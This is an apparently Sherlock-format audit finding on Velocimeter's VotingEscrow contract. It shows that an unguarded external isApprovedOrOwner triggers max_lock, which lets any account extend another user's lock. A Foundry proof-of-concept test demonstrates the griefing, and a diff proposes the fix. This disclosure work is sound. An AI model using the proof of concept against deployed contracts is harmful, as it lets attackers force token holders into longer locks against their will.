Active Lace Hippo

Medium

# Unauthorized Accounts May Errantly Increase Unlock Time

## Summary

An unapproved account may errantly increase the [`end`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L30C14-L30C17) of a [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol)'s [`LockedBalance`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L28C5-L31C6).

## Vulnerability Detail

Attempts to [`increase_unlock_time(uint256,uint256)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L939) must be safeguarded by checks to ensure the `msg.sender` is the owner of the token or an approved operator:

```solidity
/// @notice Extend the unlock time for `_tokenId`
/// @param _lock_duration New number of seconds until tokens unlock
function increase_unlock_time(uint _tokenId, uint _lock_duration) external nonreentrant {
@>  assert(_isApprovedOrOwner(msg.sender, _tokenId));

    LockedBalance memory _locked = locked[_tokenId];
    uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks

    require(_locked.end > block.timestamp, 'Lock expired');
    require(_locked.amount > 0, 'Nothing is locked');
    require(unlock_time > _locked.end, 'Can only increase lock duration');
    require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

    _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME);
}
```

However, these checks can be circumvented via calls to [`isApprovedOrOwner(address,uint256)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L305):

```solidity
/// @dev Returns whether the given spender can transfer a given token ID
/// @param _spender address of the spender to query
/// @param _tokenId uint ID of the token to be transferred
/// @return bool whether the msg.sender is approved for the given token ID, is an operator of the owner, or is the owner of the token
function _isApprovedOrOwner(address _spender, uint _tokenId) internal returns (bool) {
@>  max_lock(_tokenId); /// @audit invokes_max_lock_without_access_cotrols

    address tokenOwner = idToOwner[_tokenId];
    bool spenderIsOwner = tokenOwner == _spender;
    bool spenderIsApproved = _spender == idToApprovals[_tokenId];
    bool spenderIsApprovedForAll = (ownerToOperators[tokenOwner])[_spender];
    return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll;
}

function isApprovedOrOwner(address _spender, uint _tokenId) external returns (bool) {
    return _isApprovedOrOwner(_spender, _tokenId);
}
```

In turn, we can see that [`max_lock(uint256)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L912) is capable of errantly increasing the unlock time of a [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol) token, provided [`max_lock_enabled`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L198):

```solidity
///@notice Extend the unlock time to max_lock_time for `_tokenId`
function max_lock(uint _tokenId) public {
@>  if(maxLockIdToIndex[_tokenId] !=0 && max_lock_enabled) {
@>      LockedBalance memory _locked = locked[_tokenId];
@>      uint unlock_time = (block.timestamp + MAXTIME) / WEEK * WEEK; // Locktime is rounded down to weeks
@>
@>      if(unlock_time > _locked.end) {
@>
@>          require(_locked.end > block.timestamp, 'Lock expired');
@>          require(_locked.amount > 0, 'Nothing is locked');
@>          require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');
@>
@>          _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME);
@>      }
@>  }
}
```

To demonstrate this, the full proof of concept is provided below ([`VotingEscrow.t.sol`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/test/VotingEscrow.t.sol)):

```solidity
function testSherlockUnauthorizedDeltaMaxLock() public {
    flowDaiPair.approve(address(escrow), TOKEN_1);
    uint256 lockDuration = 7 * 24 * 3600; // 1 week

    // Balance should be zero before and 1 after creating the lock
    assertEq(escrow.balanceOf(address(owner)), 0);
    escrow.create_lock(TOKEN_1, lockDuration);
    assertEq(escrow.currentTokenId(), 1);
    assertEq(escrow.ownerOf(1), address(owner));
    assertEq(escrow.balanceOf(address(owner)), 1);

    escrow.max_lock(1);

    int amount;
    uint duration;
    (amount, duration) = escrow.locked(1);
    assertEq(duration, lockDuration);

    escrow.enable_max_lock(1);

    escrow.isApprovedOrOwner(address(owner),1);

    (amount, duration) = escrow.locked(1);
    assertEq(duration, 52 * 7 * 86400);

    escrow.max_lock(1);

    address c0ffee = address(0xc0ffee) /* unauthorized_account */;

    (amount, duration) = escrow.locked(1);

    assertEq(duration, 31449600);

    vm.warp(block.timestamp + 1 weeks);

    vm.startPrank(c0ffee);
        uint256 maliciousLockTime = 32_054_400;

        /// @notice As an unauthorized account, `c0ffee`
        ///         is not permitted to change the lock of
        ///         a token they are not approved for.
        vm.expectRevert();
            escrow.increase_unlock_time(1, 1 weeks);

        /// @audit However, calling `isApprovedOrOwner` will
        ///        circumvent these protections:
        escrow.isApprovedOrOwner(address(0) /* dont_care */, 1);
        (amount, duration) = escrow.locked(1);
        assertEq(duration, maliciousLockTime); /// @audit lock_time_is_increased

    vm.stopPrank();

}
```

## Impact

Malicious users can repeatedly grief any [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol) token into greater unlock times against their will.

## Code Snippet

```solidity
/// @notice Extend the unlock time for `_tokenId`
/// @param _lock_duration New number of seconds until tokens unlock
function increase_unlock_time(uint _tokenId, uint _lock_duration) external nonreentrant {
    assert(_isApprovedOrOwner(msg.sender, _tokenId));

    LockedBalance memory _locked = locked[_tokenId];
    uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks

    require(_locked.end > block.timestamp, 'Lock expired');
    require(_locked.amount > 0, 'Nothing is locked');
    require(unlock_time > _locked.end, 'Can only increase lock duration');
    require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

    _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME);
}
```

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L296C9-L296C28

## Tool used

Manual Review

## Recommendation

The [`isApprovedOrOwner(address,uint256)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L305) implementation should be restricted to a `view` function:

```diff
/// @dev Returns whether the given spender can transfer a given token ID
/// @param _spender address of the spender to query
/// @param _tokenId uint ID of the token to be transferred
/// @return bool whether the msg.sender is approved for the given token ID, is an operator of the owner, or is the owner of the token
- function _isApprovedOrOwner(address _spender, uint _tokenId) internal returns (bool) {
+ function _isApprovedOrOwner(address _spender, uint _tokenId) internal view returns (bool) {
-   max_lock(_tokenId);
-
    address tokenOwner = idToOwner[_tokenId];
    bool spenderIsOwner = tokenOwner == _spender;
    bool spenderIsApproved = _spender == idToApprovals[_tokenId];
    bool spenderIsApprovedForAll = (ownerToOperators[tokenOwner])[_spender];
    return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll;
}

- function isApprovedOrOwner(address _spender, uint _tokenId) external returns (bool) {
+ function isApprovedOrOwner(address _spender, uint _tokenId) external view returns (bool) {
    return _isApprovedOrOwner(_spender, _tokenId);
}
```
